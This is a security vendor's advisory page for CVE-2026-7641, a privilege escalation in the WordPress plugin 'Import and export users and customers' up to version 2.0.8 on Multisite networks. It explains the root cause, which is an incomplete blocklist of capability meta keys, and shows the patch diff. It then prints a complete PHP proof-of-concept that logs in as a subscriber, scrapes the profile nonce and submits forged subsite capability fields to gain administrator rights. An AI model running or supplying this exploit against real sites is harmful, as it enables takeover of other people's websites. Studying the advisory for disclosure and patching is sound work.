Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-7641: Import and export users and customers <= 2.0.8 – Authenticated (Subscriber+) Privilege Escalation via Multisite Capability Meta Fields (import-users-from-csv-with-meta)

CVE ID CVE-2026-7641
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 2.0.8
Patched Version 2.0.9
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7641:
This vulnerability allows authenticated attackers with subscriber-level access to escalate privileges to administrator on any subsite within a WordPress Multisite network. The flaw resides in the Import and export users and customers plugin versions up to 2.0.8. The CVSS score is 8.8, indicating high severity.

Root Cause:
The root cause is an incomplete blocklist in the `restricted_fields()` method of `/import-users-from-csv-with-meta/classes/multisite.php`. The original code only blocked the `wp_capabilities` and `wp_user_level` meta keys for the primary site. It failed to block the equivalent keys for other subsites, such as `wp_2_capabilities` and `wp_2_user_level`, which use the `{$wpdb->prefix}capabilities` and `{$wpdb->prefix}user_level` format. The `save_extra_user_profile_fields()` function in `/import-users-from-csv-with-meta/classes/import.php` calls `update_user_meta()` to write these keys to the user profile, and the `in_array()` check only matched the primary site keys.

Exploitation:
An attacker with subscriber-level access can craft a POST request to `/wp-admin/profile.php` with specially crafted meta field names for the subsite, such as `wp_2_capabilities` and `wp_2_user_level`. The attacker sets `wp_2_capabilities` to a serialized array containing `administrator` role. For this to work, the administrator must have previously imported a CSV file with multisite-prefixed capability columns and enabled the ‘Show fields in profile?’ option, which stores those keys in the `acui_columns` option and exposes them as editable fields on the profile page.

Patch Analysis:
The patch modifies `restricted_fields()` in `/import-users-from-csv-with-meta/classes/multisite.php` to iterate over all sites in the multisite network using `$wpdb->get_blog_prefix( $site->blog_id )` and adds the corresponding `{$prefix}capabilities` and `{$prefix}user_level` keys to the restricted fields array. This ensures the blocklist covers all subsites, preventing direct writes to these sensitive user meta keys.

Impact:
Successful exploitation allows an attacker to gain administrative privileges on any subsite within the Multisite network. This grants full control over the subsite, including the ability to install malicious plugins, modify content, and access sensitive data. In a Multisite setup, this can cascade to compromise the entire network.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/import-users-from-csv-with-meta/classes/import.php
+++ b/import-users-from-csv-with-meta/classes/import.php
@@ -764,9 +764,12 @@
         // On first step, we might need to handle the upload if it's there
         if( $step == 1 && empty( $file ) ){
             if( !empty( $_FILES['uploadfile']['tmp_name'] ) ){
-                // Move uploaded file to a more permanent temporary location because tmp_name is deleted after request
-                $upload_dir = wp_upload_dir();
                 $original_ext = strtolower( pathinfo( $_FILES['uploadfile']['name'], PATHINFO_EXTENSION ) );
+                $allowed_extensions = apply_filters( 'acui_allowed_upload_extensions', array( 'csv' ) );
+                if( !in_array( $original_ext, $allowed_extensions, true ) ){
+                    wp_send_json_error( array( 'message' => __( 'Invalid file type.', 'import-users-from-csv-with-meta' ) ) );
+                }
+                $upload_dir = wp_upload_dir();
                 $file = $upload_dir['basedir'] . '/acui-import-' . uniqid() . '.' . $original_ext;
                 move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file );
             }
--- a/import-users-from-csv-with-meta/classes/multisite.php
+++ b/import-users-from-csv-with-meta/classes/multisite.php
@@ -18,6 +18,12 @@
 	}

 	function restricted_fields( $acui_restricted_fields ){
+		global $wpdb;
+		foreach ( $this->sites as $site ) {
+			$prefix = $wpdb->get_blog_prefix( $site->blog_id );
+			$acui_restricted_fields[] = $prefix . 'capabilities';
+			$acui_restricted_fields[] = $prefix . 'user_level';
+		}
 		return array_merge( $acui_restricted_fields, array( 'blogs' ) );
 	}

--- a/import-users-from-csv-with-meta/import-users-from-csv-with-meta.php
+++ b/import-users-from-csv-with-meta/import-users-from-csv-with-meta.php
@@ -3,7 +3,7 @@
 Plugin Name:	Import and export users and customers
 Plugin URI:		https://www.codection.com
 Description:	Using this plugin you will be able to import and export users or customers choosing many options and interacting with lots of other plugins
-Version:		2.0.8
+Version:		2.0.9
 Author:			codection
 Author URI: 	https://codection.com
 License:     	GPL2
@@ -11,10 +11,11 @@
 Text Domain: import-users-from-csv-with-meta
 Domain Path: /languages
 */
+
 if ( ! defined( 'ABSPATH' ) )
 	exit;

-define( 'ACUI_VERSION', '2.0.8' );
+define( 'ACUI_VERSION', '2.0.9' );

 if( !defined( 'ACUI_IMPORT_BATCH_SIZE' ) )
 	define( 'ACUI_IMPORT_BATCH_SIZE', 100 );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7641 - Import and export users and customers <= 2.0.8 - Privilege Escalation via Multisite Capability Meta Fields

/**
 * This PoC demonstrates privilege escalation on a WordPress Multisite subsite.
 * Prerequisite: An admin must have imported a CSV with multisite-specific capability columns
 * and enabled "Show fields in profile?" option.
 * The attacker (subscriber) crafts a request to /wp-admin/profile.php
 * with meta keys like wp_2_capabilities to gain admin on subsite with ID 2.
 */

$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'attacker'; // Attacker's subscriber username
$password = 'attacker_password'; // Attacker's password
$subsite_id = 2; // Target subsite ID

// Login to get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);

// Fetch profile page to get nonce and available fields
$profile_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce for profile update
preg_match('/<input type="hidden" id="_wpnonce" name="_wpnonce" value="([^"]+)" />/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die('Failed to retrieve nonce. Is the user logged in?' . "n");
}

// Build meta keys for the target subsite
$prefix = 'wp_' . $subsite_id . '_';
$capabilities_key = $prefix . 'capabilities';
$user_level_key = $prefix . 'user_level';

// Craft POST data: set capabilities to administrator for the subsite
$post_fields = [
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/profile.php',
    'from' => 'profile',
    'checkuser_id' => 0, // Attacker's user ID
    'action' => 'update',
    'submit' => 'Update Profile',
    $capabilities_key => serialize(['administrator' => 1]),
    $user_level_key => 10 // Admin level
];

// Submit the profile update
$update_url = $target_url . '/wp-admin/profile.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$result = curl_exec($ch);
curl_close($ch);

echo "Exploit attempt completed. Check if user '$username' is now admin on subsite $subsite_id.n";
echo "Response length: " . strlen($result) . "n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School